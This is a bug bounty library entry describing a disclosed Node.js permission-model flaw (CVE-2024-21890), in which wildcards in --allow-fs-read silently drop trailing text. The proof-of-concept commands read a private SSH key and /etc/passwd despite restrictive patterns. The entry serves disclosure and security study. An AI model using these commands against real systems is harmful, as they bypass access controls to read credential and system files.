# Improper handling of wildcards in --allow-fs-read and --allow-fs-write

Node.js permission model mishandles wildcards in --allow-fs-read/write, silently ignoring text after `*` and granting access to unintended paths like private SSH keys.

- Payout: $1,290
- Severity: medium
- Program: Internet Bug Bounty
- Found by: tniessen
- Disclosed: 2024-05-29
- CVE: CVE-2024-21890
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/2434819
- Library page: https://bugbountylibrary.com/r/h1%3A2434819
- Tags: area:oss domain:oss impact:data-leak kind:bounty platform:hackerone sev:medium tech:nodejs technique:source-review vuln:access-control vuln:misconfiguration

**Target:** Node.js permission model (--allow-fs-read / --allow-fs-write CLI flags)
**Root cause:** The permission model's path matching truncates at the first wildcard, discarding trailing text (e.g. `.pub`), and a trailing `*` also matches the path with the last character stripped.
**Steps:**
1. Run `node --experimental-permission --allow-fs-read=/home/tniessen/.ssh/*.pub -p "fs.readFileSync('/home/tniessen/.ssh/id_github').length"`
2. Observe it reads the private key (464 bytes) despite the `.pub` restriction
3. Run `node --experimental-permission --allow-fs-read=/etc/passwd.* -p 'fs.readFileSync("/etc/passwd")'`
4. Observe `/etc/passwd` is readable though it does not match `/etc/passwd.*`
**How found:** Reporter tested wildcard patterns in the permission flags and noticed the `.pub` suffix was silently ignored, then probed trailing-wildcard behavior and found the off-by-one path match.
**Insight:** When auditing allowlist/path-matching logic, test wildcard placement at start, middle, and end of patterns and check whether trailing text is silently dropped rather than rejected.

## Proof of concept (copied exactly from the original report)

**Wildcard suffix ignored granting SSH key access**

```
$ node --experimental-permission \
           --allow-fs-read=/home/tniessen/.ssh/*.pub \
           -p "fs.readFileSync('/home/tniessen/.ssh/id_github').length"
    464
```

**Trailing wildcard grants access to stripped path**

```
$ node --experimental-permission \
           --allow-fs-read=/etc/passwd.* \
           -p 'fs.readFileSync("/etc/passwd")
```

